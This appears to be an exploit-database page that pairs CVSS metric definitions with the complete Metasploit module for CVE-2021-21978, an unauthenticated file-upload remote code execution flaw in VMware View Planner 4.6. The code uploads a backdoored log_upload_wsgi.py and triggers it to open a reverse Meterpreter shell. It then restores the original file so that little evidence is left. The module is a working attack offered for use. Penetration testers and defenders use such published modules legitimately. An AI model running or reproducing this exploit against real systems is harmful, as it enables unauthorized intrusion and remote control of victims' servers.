The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: VMware View Planner 4.6 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware View Planner Unauthenticated Log File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated log file upload within the
log_upload_wsgi.py file of VMWare View Planner 4.6 prior to 4.6
Security Patch 1.
Successful exploitation will result in RCE as the apache user inside
the appacheServer Docker container.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'wvu', # Analysis and PoC
'Grant Willcox' # Metasploit Module
],
'References' => [
['CVE', '2021-21978'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0003.html'],
['URL', 'https://attackerkb.com/assessments/fc456e03-adf5-409a-955a-8a4fb7e79ece'] # wvu's PoC
],
'DisclosureDate' => '2021-03-02', # Vendor advisory
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => 'python',
'Targets' => [
[
'VMware View Planner 4.6.0',
{
'Arch' => ARCH_PYTHON,
'Type' => :linux_command,
'DefaultOptions' => {
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wsgi_log_upload', 'log_upload_wsgi.py')
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
unless res.code == 200 && !res.body.empty?
return CheckCode::Safe('log_upload_wsgi.py file not found at the expected location.')
end
@original_content = res.body # If the server responded with the contents of log_upload_wsgi.py, lets save this for later restoration.
if res.body&.include?('import hashlib') && res.body&.include?('if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key:')
return CheckCode::Safe("Target's log_upload_wsgi.py file has been patched.")
end
CheckCode::Appears('Vulnerable log_upload_wsgi.py file identified!')
end
# We need to upload a file twice: once for uploading the backdoor, and once for restoring the original file.
# As the code for both is the same, minus the content of the file, this is a generic function to handle that.
def upload_file(content)
mime = Rex::MIME::Message.new
mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\"; filename=\"#{Rex::Text.rand_text_alpha(20)}\"")
mime.add_part('{"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logupload'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
unless res.to_s.include?('File uploaded successfully.')
fail_with(Failure::UnexpectedReply, "Target indicated that the file wasn't uploaded successfully!")
end
end
def exploit
# Here we want to grab our template file, taken from a clean install but
# with a backdoor section added to it, and then fill in the PAYLOAD placeholder
# with the payload we want to execute.
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py'))
payload.encoded.gsub!(/"/, '\\"')
file_content['PAYLOAD'] = payload.encoded
# Now that things are primed, upload the file to the target.
print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')
upload_file(file_content)
print_good('Backdoor uploaded!')
# Use the OPTIONS request to trigger the backdoor. Technically this
# could be any other method including invalid ones like BACKDOOR, but for
# the purposes of stealth lets use a legitimate one.
print_status('Sending request to execute the backdoor!')
send_request_cgi(
'method' => 'OPTIONS',
'uri' => normalize_uri(target_uri.path, 'logupload')
)
ensure
# At this point we should have our shell after waiting a few seconds,
# so lets now restore the original file so we don't leave anything behind.
print_status('Reuploading the original code to remove the backdoor!')
upload_file(@original_content)
print_good('Original file restored, enjoy the shell!')
end
end
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